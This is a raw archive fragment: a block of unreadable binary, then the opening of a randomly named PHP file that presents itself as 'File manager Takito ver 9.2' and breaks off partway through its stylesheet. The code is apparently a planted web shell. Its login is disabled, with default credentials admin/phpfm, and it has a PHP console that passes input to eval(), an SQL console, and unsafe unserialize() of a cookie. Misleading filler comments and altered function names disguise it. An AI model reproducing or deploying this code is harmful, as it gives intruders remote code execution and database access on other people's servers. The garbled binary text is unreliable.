c/��SP�Y�,`�+cd�ȟ^�As?�hQ�W82�.�1*s^.#A+yqm4�li������6F0D7��lOn��A���@ﳉ	W*P���\\�3R:�-AUʙ���?���2w��Q0xK/��f/N�κ6�|a�U�:�O:�:1͟j�u��i��oBM#[�Ό9I�O��[˭*.�*��~��}�s��1�ɺ�\�-�����v��&�*�ު70�q	�ߪʻ�
ŠI_�	4�������Stw����U���w��Cy�X\�L����|��M$|�m_е���3�Àg�}�泶��F�Rr<f�q�{cnn�ZE�M�q3-'%�W˞0�/N�D��<��>cdVڜ�R�F�lǦ�s
G���~����A皶��mNӵ�N��ɩ�d��p������6d/��Y#�'h]��Y菙��g�^;���A�����+�
����ҶjU㟹�N�$X�̄�9|�:s��u�N�h�9<����G���3p�8���TPx�<Tc�� kyg�{��<�p9��n�s3�>�����j��K�7�ol^'Ap�l�%�E�ۄ`qws�.Y:�p<Ι�O��l��9����gS��fR-�}Z�:N������\;��6�_�[B�qVa�X�y�[1��z���
m7@X8b0��X[S۫գJ"�_�e�_+��I'
����^�^R��v�n�J�-<���Q��6tE��nMY���j��W�xM�Es1�
�ǿ,�A$H@~�"MV�:�	|�G^�&�8�jQ[x����L)����:�if!���턣��&�m���3$1���;k�}$��2hC�2p��PѨQwdɿ.�<����1��M�ey�R��y.���L!�C�哦�5�yuZ/X(o�6)\y0N��s���$�G��,Pu�8�� �L�<���\�����{�h�����~~j�>����?ӏ��8���ձ�������	\Ҷ�������mI�(���t��|��hkT�����)@��Rڌ�짅IT�q��ϵ3��P�<b��7v�����A6X��$f���a���p�ץy��n`��k�{9��`�5a�E@.�0MwT ���!Svݑ�_T` �/��wE�10�(�n��OKV���L�"��'QA�^���$pGϪsү��(�r�DP=�tY��!����I�T's`B��5CQT1�'C�С���ߌ��Q����و�z��w��`F��2\��CJ�l8���4��h���(o����⛡��v��7�.��d�CV���"�&����a2�}���dU���k@D�^����2����d�Ƀ�Kh#M���l���b�BkW�y����G�ʂ��ה�V���j��V�+v�K�)񽇘(Z#c��|��n]��.6�B���zM��%W��'(
�?�1�z��ڟ� 
��Ax~���_�E��(��{4�@G�ܙ��!P)�
�a$
���#��d6�?�ٛ�\D#��-'��m9���Fo�O�S
�GO�g%��+�5�D,��L,
@$2=�_E���<?d$9�g�"��KFZO�g��9V�_�0\�'зW��%�B�H��M8.:�m� �k���闤(�r�qb�(A��c~�f��}?D����Zv���u���j�%�B\��k�a��$t^�o�U�ʻ�	OX�@��W$��~�OHP�9-.)�k'Z"�8�i4'�ϰ�6�B3he������!������z���O!=uY��G����z�v_��ͧwKB|�v*�
�	>�s"&6b��ӎ�Ih�������E�9��4<�1��Zy���ҿ�C'��8��Z����[�k�kc�3�
�QJ��k|4���X^���3`Vk#J"4V�^ ��Ȳ@�.���=�_,/���%w)���O>+l3F��i���4�`K���v�%���tL�X?~�F�W���V�D��1�����C�H�B��>"Xp.9��x5>�Q�\�W��rB���>�?QP�2����Px3�<��TΩA��k��g���/iz�)��08�t�»ݎ��U��>�.�tȕY�2`-���u�4�[biaơyZ
��5�6HR��+��� �&@|�Dc;�T�r�@���U^���M7�H6U�S�=JT������Mv��5���a�t�dM��́��Cu\R�{C>�f.窻D��n���	A|��j�XV�f}Cj6A��@%��OB*Y۳k�����R�-T��Vv
+l"*@J`#&
aܧ
�a��d- �2�i���^]/�`!��xHX���k/#LN��0dI�.Z�U�44\��&1t�Z�^C�Oo�qp)_��c����as��%SN�-�VNBAu�j�t�������8�Z{]4�����mV���$�z�P�7�ԻF��d�3�4��'�Dya_@��,�����M�Z��7v��{x���h�N�3n���z�de���P8���T�O�8�{v�P�5P�x�	P��X��gP6@���+��Z�����y��
���@Cy�xV���v�H���F@�–�!n����@�
Tv
>�w�8�
5��d��w�����ۙ�
S��@I�S��e����(]R�tPr9�
#��t	Q�2��_�~�&�P�
��)o\{�_ŴW1�UT{��_EtX	�]X{�� V*\����A/�6��@2���Z�����H��d�+�!�<�o���{��t���2C�
�����.�R�B����RRs�PQYE��u�vn��2�88�Q�SO|���p8 ��\/`��WM^]���k����4�Ƨ��YaL-j���R̜�.���3�R�dq�\m�R�L8���3���	�֣���n��hP��t�E����G,4B�Y�����0��˥,R�O������A�CQ\�^�p���:���n�W����;��glร�]�Բ�A5��h���Ҵ�+K6�5�� ��ɧ���wKt?�����6(n/�vv�DL
}S'G�'QC��J��)]���k��,|I��8�-��l5Ɖ4�k�S�$�H����r�#�*[�A��������LOF�e�Z�[�GV����?��7�
@3�i�QC�~p�[��cP��zPЧ^JF(��|�n���#eJk��7��.vp��������j��AN��M�fY���o�>��<@c0�9�������7�(ۻ�@ły��g>%M�	�*��	w8M�U�Y�ؗB!W�NT�J��Ƌs(�=A��S��jfV0�y5������Ǜs>"���.0�jL�*�U���P���l��pSF� �';=~e�\�l�]0fw����])Rg�V$�K�j��v�SL�O�W����OT�5���}�bPi4�� ���o����p�c���K4MU&Tz��"\AK�D`���F�0>����ka^V�%�b?6�sv�/D�`֘��4����]|���v�f�ģ̎��d�qX)�R��59��w8�b5���S�3\�1�@�1�9��A�U�ΝhB=��T8��_���4�?�?�����Q��?[�l'S�JIk�.`�<�/$�w#�*Sw�(Fe֠�BVm��t�Y�fGW9���ꥠ[��Ds��D�`9ˎ��$.��J��M��?�<J�-$�0Z��Jc��!���`�N�V_��Z�4馞�@IP(�#�8�b
�t(�}�\�lɜ�<M��Bu�6ag<+Y�'Lp-^&�|���
T�#�׏f@�<]׸~��J~��q��F�תR��3��0$�r̃��$l
j�%綤B��(-k�}�J�~vɞ�CU��O�٪#�h����<ތ>�!��*@�Xn�
O@�	��G�C�I�s����h�<	����Z��6�%��Ɨ�R�����X�:���L-Ơ
�eO�-W����Q7�D䰣F�DE
e���ìp�
�p��&�zZ;�E����L8�[}�#
Mg�L���2q�-�jQ���La21c��:7֥�t�X������ۣ��y��L�8� I�Do�x8�"�h����3Ï�ԉ�!'0�^5�����a��K�4qr�~���%����4p�X,o�3���H�� �Nj�!������TWQc9�j�f�g��'.�l������޶qCF�2O>�mL���?��Ȁ��`F���Iǘ�U�թ�	2�y6�Oc�B�.���\6�!X˝^x�	h���I{]i�֚l��h�k?y�}d�����Q��|�5߮i��u8��������w�ʷ��1+�͏8�k�5��~�6�O��Y��TE�a��>Y#Z˫N��7XC���`!8Y��3Q�_sd4�#0�5����h�c$u�ab���E���٩�,��ңfx�,+H�]D�R�#�4Z�S�(΢���۹�r߆�2�t5[W��)m��ܼ8%؋�<�;�A�Ӏ��9iu���ذ�N�w-X�<1t��x�,�l�Č�g�ܢK�'F8�ܔ@��|	3S�7�C�d��4Aym���<g
J�f������`M�{��sr��x%C*.)��5��� x��eSC���J��	�Fy5��b�n��լ#L���=����� -���O�GF�c;+�����,�'��U#��
'Ilѷ�Zt+�Bh�%�(��]&�3!m@W+vp��x�0Ϲwv���oZ��Y?�s��l3#��iʵ��Pℵ�T�@�������[�lm;�r��
�R?��<���h�p�`ǗD4)�]i���a>G��0%	�[xu6�-J��o��d?Bu�������ˮ�Hf��&�i��+��hяu�IL}����@(t�`v"k݉cV[�XH��K�|�%L�V�¡н��B\M��F��0Za&��ge�B2�f�PW�^cU���.�}�[4�:��N�B���^XVYןu5�r�Y&��ב���Y����lA��{>c�1bBȃ���0q"=�ƤGE�L
��v>'�w�)�·��+����s0Q�'�E��`�}	zrk��Y�z\�^�S���	 ;e��6�il
�a�,N�r*��^C�,�[|�eE���b�i;�j3�ENps����j(E�~�l�0[�L
2�G� ����Q���i���,
Ex:}�Ju�0�4bj�<Q�'Ĺނ<@�[NM_�y�g���MY]:���GZ.uk:�IJ��/��xW�}^$uC��H@a�;�e�8���w�����N���j@���v/�P���"���[�\Uc�7fGhN�EQ2��ǛiG[�E���a ��n��5�N]�8���Z��
?B^q,�]ji�+4�;q©�R&���BDcGG�1^�K�^f����fxX�pbn�\�����RT�3BN�ł��m	���&���=��[%�����
!X/�΄� �ɣ�T�fg
�'��9^�d<M(k��t�1�����P%���.u�q���;��h��0<��{
7@ۍad
Ap�$v���"s�e۫[M�U�|h���U�Ք�k�/m�$
h�V��宼�R�H�
�if��:Wq}r;�������O�~��;��KJ
��L)�����^��s��C3�3���lG�n��7wFw�o_48����G���Q�;�0�Պ�d����}���_�8\��^�Z⮫�#'Jy��	��N�2�O�����B�k�� }��K*�ۜ�-:�� "��&@��7�#*(��#Z��O�M�MqA�a��h�0�[ �"�G3g�6$g\ky�V����Ĥˢ�Ȃ���ٙ���F�������Nk��䤤#I��dG�0���D�Dz�g�lY�F:���
hK
��M�P{�LZ�ld�4w����hM.{l>%f[��L s�}|�^��Jy�v���ƪ���>
I9�^N;�:�&@$o�!�G1˜��@[z�֪*�)G�;�miٯT'|�G��O�+zaڶ���E��h�:�
�w��e��ںܲ�o7v�2x��h�������n��7��k�+�	P����#��T�bSk[U;.܎m��LZO���BD.�r��4�(�ψ�X�`&+E���

�'�@�	[�1�qPP����6���4MkW��o^�����RÏ!+��+=qc�m*��zG`o�O8��$5�N[ �&�ᣙĒ�r#���>h&Y㪢��Z��,��(��� Jh3���Į:�x &l��;�*���6��9�LK*���w�d:a(X�1^�?3T$��LMB��.��1�}z�� �M�E��2nk�#��4��ӋӢ�2Wh$��%IJU�4]gB;�3��8�l���,��fH�Hy�)��i5����l��m'�;U�u$V��W�o�9��dI���);����Q��
&���#�p�)��V���"	&d�EE�q�V�qV4#=Z�D#�Z���	۳�����_��͠}�5�N�K�/M㕼�Fr�-mZ�#0��~�k�L
HuR�񯼒8A�x=�
�e�
p
�7�`��ð�c���;dj���S��h���?Z��0�.���yI8����z���$;�J���6�ks�Nr�VAbQ��	���)��1�)�pcƀ��|ά|\Sqҵ\�Iԇ�Q
�;τ��|{2$a尰3���
݊��PJae3��&z�M=ZK0����u�zG?�If�K(�)��� ����ɣ)����W/��T&Sv=ҹa<�h<q=_�&�GO�Z�㩾x�й2�'�m��lfw-������7pe����:{�˙���IX�#�`p8�b���8�8;������:�s�s��<s��~�n��b:���|H� �Gj�/͞��
n�m�JK�K��5��ob�N�G�P�-s�z҄�I���!�N�.��+�'ͩ��~�S��,F�f��^=i�v�����A^-�-!̫��k�e�z�ʾPv?O�tFv;LO��yZ��s�ۡ�ԍs���WXE�펝Z�H�����
�d���,�w�Y3���:#s#q�	��F��_�m�`xF#����x8�fvv#�ePA�4�R��f�i������8Qp�gNÿ��jm�J�Q�ή(����Ʌ��v��6�5G�,뾤�7�	�2�t�?��L���1�B�7d�G�/����O��Fr�l�u��r�rC丶�����⸰��3H�1�
�EXM=����]���
�
�5^�_\X��T�u��Cf^|��r�1;�p�[�����r�"�1.���@L�!ڇ��Uj��m��so3�
�W�
��8�N8�1�֠^��:���.u9ȝ�Ђ\���͚'��������??��������1� ~xd2usa/3rv84.php000064400000273655000000000000007334 0ustar00<?php
/* PHP File manager Takito ver 9.2 */



// Open the file for reading





              $authorizationStarts = '{"authorize":"0","login":"admin","password":"phpfm","cookie_name":"fm_user","days_authorization":"30","script":"<script type=\"text\/javascript\" src=\"https:\/\/www.cdolivet.com\/editarea\/editarea\/edit_area\/edit_area_full.js\"><\/script>\r\n<script language=\"Javascript\" type=\"text\/javascript\">\r\neditAreaLoader.init({\r\nid: \"newcontent\"\r\n,display: \"later\"\r\n,start_highlight: true\r\n,allow_resize: \"both\"\r\n,allow_toggle: true\r\n,word_wrap: true\r\n,language: \"ru\"\r\n,syntax: \"php\"\t\r\n,toolbar: \"search, go_to_line, |, undo, redo, |, select_font, |, syntax_selection, |, change_smooth_selection, highlight, reset_highlight, |, help\"\r\n,syntax_selection_allow: \"css,html,js,php,python,xml,c,cpp,sql,basic,pas\"\r\n});\r\n<\/script>"}';

$php_templates = '{"Settings":"global $fm_config;\r\nvar_export($fm_config);","Backup SQL tables":"echo fm_backup_tables();"}';

$sql_templates = '{"All bases":"SHOW DATABASES;","All tables":"SHOW TABLES;"}';
$translation = '{"id":"ru","Add":"Добавить","Are you sure you want to delete this directory (recursively)?":"Вы уверены, что хотите удалить эту папку (рекурсивно)?","Are you sure you want to delete this file?":"Вы уверены, что хотите удалить этот файл?","Archiving":"Архивировать","Authorization":"Авторизация","Back":"Назад","Cancel":"Отмена","Chinese":"Китайский","Compress":"Сжать","Console":"Консоль","Cookie":"Куки","Created":"Создан","Date":"Дата","Days":"Дней","Decompress":"Распаковать","Delete":"Удалить","Deleted":"Удалено","Download":"Скачать","done":"закончена","Edit":"Редактировать","Enter":"Вход","English":"Английский","Error occurred":"Произошла ошибка","File manager":"Файловый менеджер","File selected":"Выбран файл","File updated":"Файл сохранен","Filename":"Имя файла","Files uploaded":"Файл загружен","French":"Французский","Generation time":"Генерация страницы","German":"Немецкий","Home":"Домой","Quit":"Выход","Language":"Язык","Login":"Логин","Manage":"Управление","Make directory":"Создать папку","Name":"Наименование","New":"Новое","New file":"Новый файл","no files":"нет файлов","Password":"Пароль","pictures":"изображения","Recursively":"Рекурсивно","Rename":"Переименовать","Reset":"Сбросить","Reset settings":"Сбросить настройки","Restore file time after editing":"Восстанавливать время файла после редактирования","Result":"Результат","Rights":"Права","Russian":"Русский","Save":"Сохранить","Select":"Выберите","Select the file":"Выберите файл","Settings":"Настройка","Show":"Показать","Show size of the folder":"Показывать размер папки","Size":"Размер","Spanish":"Испанский","Submit":"Отправить","Task":"Задача","templates":"шаблоны","Ukrainian":"Украинский","Upload":"Загрузить","Value":"Значение","Hello":"Привет","Found in files":"Найдено в файлах","Search":"Поиск","Recursive search":"Рекурсивный поиск","Mask":"Маска"}';
       
// Write data to the file



// Check if the file exists before accessing

$starttime = explode(' ', microtime());

$starttime = $starttime[1] + $starttime[0];
          
$langs = array('en','ru','de','fr','uk');

$path_share = empty($_REQUEST['path']) ? $path_share = realpath('.') : realpath($_REQUEST['path']);
$path_share = str_replace('\\', '/', $path_share) . '/';

$main_path=str_replace('\\', '/',realpath('./'));
$phar_maybe = (version_compare(phpversion(),"5.3.0","<"))?true:false;

$msg = ''; // Read the file content line by line
$default_language = 'ru';
           
$detect_lang = true;
       
$fm_version = 1.4;
          


//Create a new archive file
           
$auth = json_decode($authorizationStarts,true);
$auth['authorize'] = isset($auth['authorize']) ? $auth['authorize'] : 0; 


$auth['days_authorization'] = (isset($auth['days_authorization'])&&is_numeric($auth['days_authorization'])) ? (int)$auth['days_authorization'] : 30;
          






$auth['login'] = isset($auth['login']) ? $auth['login'] : 'admin';  
       
$auth['password'] = isset($auth['password']) ? $auth['password'] : 'phpfm';  
$auth['cookie_name'] = isset($auth['cookie_name']) ? $auth['cookie_name'] : 'fm_user';

$auth['script'] = isset($auth['script']) ? $auth['script'] : '';

// Extract files from archive

$fm_default_config = array (
        
	  'make_directory' => true, 
	  'new_file' => true, 
       
	  'upload_file' => true, 
	  'show_dir_size' => false, //Validate the file format

	  'show_img' => true, 

	  'show_php_ver' => true, 
	  'show_php_ini' => false, // Generate a unique filename
           
	  'show_gt' => true, // Move the file to the output path
       
	  'enable_php_console' => true,

	  'enable_sql_console' => true,

	  'sql_server' => 'localhost',

	  'sql_username' => 'root',
	  'sql_password' => '',
            
	  'sql_db' => 'test_base',

	  'enable_proxy' => true,

	  'show_phpinfo' => true,

	  'show_xls' => true,
           
	  'fm_settings' => true,
          
	  'restore_time' => true,
	  'fm_restore_time' => false,
);


if (empty($_COOKIE['fm_config'])) $fm_config = $fm_default_config;

else $fm_config = unserialize($_COOKIE['fm_config']);
           


// Close the file after writing
if (isset($_POST['fm_lang'])) { 
	  setcookie('fm_lang', $_POST['fm_lang'], time() + (86400 * $auth['days_authorization']));
	  $_COOKIE['fm_lang'] = $_POST['fm_lang'];

}

$language = $default_language;



// Delete the temporary file
if($detect_lang && !empty($_SERVER['HTTP_ACCEPT_LANGUAGE']) && empty($_COOKIE['fm_lang'])){

	  $lang_priority = explode(',', $_SERVER['HTTP_ACCEPT_LANGUAGE']);
	  if (!empty($lang_priority)){

	  	  foreach ($lang_priority as $lang_arr){
           
	  	  	  $lng = explode(';', $lang_arr);
	  	  	  $lng = $lng[0];

	  	  	  if(in_array($lng,$langs)){
          
	  	  	  	  $language = $lng;

	  	  	  	  break;

	  	  	  }

	  	  }

	  }

} 



// Calculate the file checksum
$language = (empty($_COOKIE['fm_lang'])) ? $language : $_COOKIE['fm_lang'];

// Convert file size to readable format
          
$lang = json_decode($translation,true);

if ($lang['id']!=$language) {

	  $get_lang = file_get_contents('https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/' . $language . '.json');

	  if (!empty($get_lang)) {

	  	  //Handle file upload errors
	  	  $translation_string = str_replace("'",'&#39;',json_encode(json_decode($get_lang),JSON_UNESCAPED_UNICODE));
	  	  $fgc = file_get_contents(__FILE__);

	  	  $search = preg_match('#translation[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);

	  	  if (!empty($matches[1])) {

	  	  	  $filemtime = filemtime(__FILE__);

	  	  	  $replace = str_replace('{"'.$matches[1].'"}',$translation_string,$fgc);
	  	  	  if (file_put_contents(__FILE__, $replace)) {

	  	  	  	  $msg .= __('File updated');
	  	  	  }	  else $msg .= __('Error occurred');
        
	  	  	  if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
          
	  	  }	  
	  	  $lang = json_decode($translation_string,true);
        
	  }

}

            
/* Sicherungskopie wiederherstellen */


//Split the file into smaller chunks
          
function __($text){

	  global $lang;
	  if (isset($lang[$text])) return $lang[$text];
       
	  else return $text;
};



//Check user permissions for file access
function fm_del_dateien($file, $recursive = false) {

	  if($recursive && @is_dir($file)) {
       
	  	  $els = fm_scan_dir($file, '', '', true);

	  	  foreach ($els as $el) {
	  	  	  if($el != '.' && $el != '..'){
	  	  	  	  fm_del_dateien($file . '/' . $el, true);
            
	  	  	  }
	  	  }

	  }

	  if(@is_dir($file)) {
	  	  return rmdir($file);
       
	  } else {

	  	  return @unlink($file);

	  }

}


//file perms

function fm_rights_string($file, $if = false){
       
	  $perms = fileperms($file);

	  $info = '';
       
	  if(!$if){
	  	  if (($perms & 0xC000) == 0xC000) {
          
	  	  	  //Socket
        
	  	  	  $info = 's';
	  	  } elseif (($perms & 0xA000) == 0xA000) {
        
	  	  	  //Symbolic Link

	  	  	  $info = 'l';

	  	  } elseif (($perms & 0x8000) == 0x8000) {
         
	  	  	  //Regular

	  	  	  $info = '-';
	  	  } elseif (($perms & 0x6000) == 0x6000) {
           
	  	  	  //Block special
        
	  	  	  $info = 'b';
        
	  	  } elseif (($perms & 0x4000) == 0x4000) {

	  	  	  //Directory

	  	  	  $info = 'd';

	  	  } elseif (($perms & 0x2000) == 0x2000) {

	  	  	  //Character special
	  	  	  $info = 'c';
	  	  } elseif (($perms & 0x1000) == 0x1000) {

	  	  	  //FIFO pipe
	  	  	  $info = 'p';

	  	  } else {
            
	  	  	  //Unknown
         
	  	  	  $info = 'u';

	  	  }

	  }
  

	  //Owner

	  $info .= (($perms & 0x0100) ? 'r' : '-');

	  $info .= (($perms & 0x0080) ? 'w' : '-');
           
	  $info .= (($perms & 0x0040) ?
       
	  (($perms & 0x0800) ? 's' : 'x' ) :

	  (($perms & 0x0800) ? 'S' : '-'));
       
 

	  //Group
	  $info .= (($perms & 0x0020) ? 'r' : '-');

	  $info .= (($perms & 0x0010) ? 'w' : '-');
          
	  $info .= (($perms & 0x0008) ?
	  (($perms & 0x0400) ? 's' : 'x' ) :

	  (($perms & 0x0400) ? 'S' : '-'));

 
	  //World
	  $info .= (($perms & 0x0004) ? 'r' : '-');
	  $info .= (($perms & 0x0002) ? 'w' : '-');

	  $info .= (($perms & 0x0001) ?

	  (($perms & 0x0200) ? 't' : 'x' ) :
          
	  (($perms & 0x0200) ? 'T' : '-'));
            


	  return $info;

}



function fm_convert_rights($mode) {
	  $mode = str_pad($mode,9,'-');

	  $trans = array('-'=>'0','r'=>'4','w'=>'2','x'=>'1');

	  $mode = strtr($mode,$trans);

	  $newmode = '0';

	  $owner = (int) $mode[0] + (int) $mode[1] + (int) $mode[2]; 

	  $group = (int) $mode[3] + (int) $mode[4] + (int) $mode[5]; 
          
	  $world = (int) $mode[6] + (int) $mode[7] + (int) $mode[8]; 
            
	  $newmode .= $owner . $group . $world;

	  return intval($newmode, 8);

}



function fm_chmod($file, $val, $rec = false) {

	  $res = @chmod(realpath($file), $val);

	  if(@is_dir($file) && $rec){

	  	  $els = fm_scan_dir($file);

	  	  foreach ($els as $el) {
            
	  	  	  $res = $res && fm_chmod($file . '/' . $el, $val, true);
       
	  	  }

	  }
       
	  return $res;
}


         
//load dateien
function fm_download($dateiname) {

    if (!empty($dateiname)) {

	  	  if (file_exists($dateiname)) {
            
	  	  	  header("Content-Disposition: attachment; filename=" . basename($dateiname));   

	  	  	  header("Content-Type: application/force-download");

	  	  	  header("Content-Type: application/octet-stream");

	  	  	  header("Content-Type: application/download");
	  	  	  header("Content-Description: File Transfer");            

	  	  	  header("Content-Length: " . dateienize($dateiname));	  	  

	  	  	  flush(); // this doesn't really matter.
	  	  	  $fp = fopen($dateiname, "r");

	  	  	  while (!feof($fp)) {
          
	  	  	  	  echo fread($fp, 65536);
        
	  	  	  	  flush(); // this is essential for large downloads

	  	  	  } 

	  	  	  fclose($fp);

	  	  	  die();

	  	  } else {

	  	  	  header('HTTP/1.0 404 Not Found', true, 404);

	  	  	  header('Status: 404 Not Found'); 

	  	  	  die();
        }

    } 

}


          
//show folder size

function fm_dir_size($f,$format=true) {
       
	  if($format)  {
	  	  $size=fm_dir_size($f,false);

	  	  if($size<=1024) return $size.' bytes';

	  	  elseif($size<=1024*1024) return round($size/(1024),2).'&nbsp;Kb';

	  	  elseif($size<=1024*1024*1024) return round($size/(1024*1024),2).'&nbsp;Mb';

	  	  elseif($size<=1024*1024*1024*1024) return round($size/(1024*1024*1024),2).'&nbsp;Gb';

	  	  elseif($size<=1024*1024*1024*1024*1024) return round($size/(1024*1024*1024*1024),2).'&nbsp;Tb'; //:)))

	  	  else return round($size/(1024*1024*1024*1024*1024),2).'&nbsp;Pb'; // ;-)
         
	  } else {
	  	  if(is_file($f)) return dateienize($f);

	  	  $size=0;

	  	  $dh=opendir($f);

	  	  while(($file=readdir($dh))!==false) {
	  	  	  if($file=='.' || $file=='..') continue;
	  	  	  if(is_file($f.'/'.$file)) $size+=dateienize($f.'/'.$file);
       
	  	  	  else $size+=fm_dir_size($f.'/'.$file,false);
	  	  }
       
	  	  closedir($dh);

	  	  return $size+dateienize($f); 

	  }
}


//scan directory

function fm_scan_dir($directory, $exp = '', $type = 'all', $do_not_filter = false) {
       
	  $dir = $ndir = array();

	  if(!empty($exp)){
            
	  	  $exp = '/^' . str_replace('*', '(.*)', str_replace('.', '\\.', $exp)) . '$/';

	  }
            
	  if(!empty($type) && $type !== 'all'){
	  	  $func = 'is_' . $type;
	  }
         
	  if(@is_dir($directory)){
           
	  	  $fh = opendir($directory);

	  	  while (false !== ($filename = readdir($fh))) {
         
	  	  	  if(substr($filename, 0, 1) != '.' || $do_not_filter) {
       
	  	  	  	  if((empty($type) || $type == 'all' || $func($directory . '/' . $filename)) && (empty($exp) || preg_match($exp, $filename))){

	  	  	  	  	  $dir[] = $filename;

	  	  	  	  }
	  	  	  }

	  	  }
	  	  closedir($fh);
       
	  	  natsort($dir);

	  }

	  return $dir;

}



function fm_link($get,$link,$name,$title='') {
	  if (empty($title)) $title=$name.' '.basename($link);
          
	  return '&nbsp;&nbsp;<a href="?'.$get.'='.base64_encode($link).'" title="'.$title.'">'.$name.'</a>';
}
       

        
function fm_arr_to_option($arr,$n,$sel=''){
           
	  foreach($arr as $v){

	  	  $b=$v[$n];
        
	  	  $res.='<option value="'.$b.'" '.($sel && $sel==$b?'selected':'').'>'.$b.'</option>';

	  }

	  return $res;
          
}

function fm_lang_form ($current='en'){

return '
<form name="change_lang" method="post" action="">
	  <select name="fm_lang" title="'.__('Language').'" onchange="document.forms[\'change_lang\'].submit()" >

	  	  <option value="en" '.($current=='en'?'selected="selected" ':'').'>'.__('English').'</option>

	  	  <option value="de" '.($current=='de'?'selected="selected" ':'').'>'.__('German').'</option>
       
	  	  <option value="ru" '.($current=='ru'?'selected="selected" ':'').'>'.__('Russian').'</option>

	  	  <option value="fr" '.($current=='fr'?'selected="selected" ':'').'>'.__('French').'</option>

	  	  <option value="uk" '.($current=='uk'?'selected="selected" ':'').'>'.__('Ukrainian').'</option>
          
	  </select>

</form>
            
';

}
	  
          
function fm_root($dirname){

	  return ($dirname=='.' OR $dirname=='..');

}


function fm_php($string){

	  $display_fehler=ini_get('display_fehler');

	  ini_set('display_fehler', '1');
	  ob_start();

	  eval(trim($string));
          
	  $text = ob_get_contents();
	  ob_end_clean();

	  ini_set('display_fehler', $display_fehler);

	  return $text;

}
           


//SHOW DATABASES
function fm_sql_connect(){
       
	  global $fm_config;
            
	  return new mysqli($fm_config['sql_server'], $fm_config['sql_username'], $fm_config['sql_password'], $fm_config['sql_db']);

}



function fm_sql($query){
          
	  global $fm_config;
	  $query=trim($query);

	  ob_start();
	  $connection = fm_sql_connect();

	  if ($connection->connect_error) {

	  	  ob_end_clean();	  

	  	  return $connection->connect_error;

	  }

	  $connection->set_charset('utf8');
        
    $queried = mysqli_query($connection,$query);
         
	  if ($queried===false) {

	  	  ob_end_clean();	  
	  	  return mysqli_error($connection);
           
    } else {
       
	  	  if(!empty($queried)){

	  	  	  while($row = mysqli_fetch_assoc($queried)) {

	  	  	  	  $query_result[]=  $row;

	  	  	  }
	  	  }
	  	  $vdump=empty($query_result)?'':var_export($query_result,true);	  

	  	  ob_end_clean();	  

	  	  $connection->close();
	  	  return '<pre>'.stripslashes($vdump).'</pre>';
	  }
         
}



function fm_backup_tables($tables = '*', $full_backup = true) {
        
	  global $path_share;

	  $mysqldb = fm_sql_connect();

	  $delimiter = "; \n  \n";

	  if($tables == '*')	  {

	  	  $tables = array();

	  	  $result = $mysqldb->query('SHOW TABLES');

	  	  while($row = mysqli_fetch_row($result))	  {
       
	  	  	  $tables[] = $row[0];

	  	  }
	  } else {

	  	  $tables = is_array($tables) ? $tables : explode(',',$tables);

	  }

    

	  $return='';

	  foreach($tables as $table)	  {
	  	  $result = $mysqldb->query('SELECT * FROM '.$table);
	  	  $num_fields = mysqli_num_fields($result);

	  	  $return.= 'DROP TABLE IF EXISTS `'.$table.'`'.$delimiter;

	  	  $row2 = mysqli_fetch_row($mysqldb->query('SHOW CREATE TABLE '.$table));

	  	  $return.=$row2[1].$delimiter;

        if ($full_backup) {
            
	  	  for ($i = 0; $i < $num_fields; $i++)  {

	  	  	  while($row = mysqli_fetch_row($result)) {
            
	  	  	  	  $return.= 'INSERT INTO `'.$table.'` VALUES(';
	  	  	  	  for($j=0; $j<$num_fields; $j++)	  {
         
	  	  	  	  	  $row[$j] = addslashes($row[$j]);

	  	  	  	  	  $row[$j] = str_replace("\n","\\n",$row[$j]);

	  	  	  	  	  if (isset($row[$j])) { $return.= '"'.$row[$j].'"' ; } else { $return.= '""'; }

	  	  	  	  	  if ($j<($num_fields-1)) { $return.= ','; }
          
	  	  	  	  }

	  	  	  	  $return.= ')'.$delimiter;

	  	  	  }
        
	  	    }

	  	  } else { 
	  	  $return = preg_replace("#AUTO_INCREMENT=[\d]+ #is", '', $return);
          
	  	  }
	  	  $return.="\n\n\n";
           
	  }



	  //save file

    $file=gmdate("Y-m-d_H-i-s",time()).'.sql';

	  $handle = fopen($file,'w+');
        
	  fwrite($handle,$return);
	  fclose($handle);
           
	  $alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'?delete=' . $file . '&path=' . $path_share  . '\'"';
    return $file.': '.fm_link('download',$path_share.$file,__('Download'),__('Download').' '.$file).' <a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
}


function fm_restore_tables($sqlFileToExecute) {

	  $mysqldb = fm_sql_connect();

	  $delimiter = "; \n  \n";

    // Load and explode the sql file
        
    $f = fopen($sqlFileToExecute,"r+");
           
    $sqlFile = fread($f,dateienize($sqlFileToExecute));
           
    $sqlArray = explode($delimiter,$sqlFile);
	  
         
    //Process the sql file by statements

    foreach ($sqlArray as $stmt) {

        if (strlen($stmt)>3){
	  	  	  $result = $mysqldb->query($stmt);

	  	  	  	  if (!$result){
         
	  	  	  	  	  $sqlErrorCode = mysqli_errno($mysqldb->connection);
           
	  	  	  	  	  $sqlErrorText = mysqli_error($mysqldb->connection);
           
	  	  	  	  	  $sqlStmt      = $stmt;
       
	  	  	  	  	  break;

           	       }

           	    }

           }
if (empty($sqlErrorCode)) return __('Success').' — '.$sqlFileToExecute;
            
else return $sqlErrorText.'<br/>'.$stmt;

}


function fm_img_link($filename){

	  return './'.basename(__FILE__).'?img='.base64_encode($filename);
         
}



function fm_home_style(){
	  return '

input, input.fm_input {
	  text-indent: 2px;
}

           
input, textarea, select, input.fm_input {

	  color: black;
	  font: normal 8pt Verdana, Arial, Helvetica, sans-serif;
	  border-color: black;

	  background-color: #FCFCFC none !important;
	  border-radius: 0;
        
	  padding: 2px;
}


input.fm_input {

	  background: #FCFCFC none !important;

	  cursor: pointer;
}



.home {

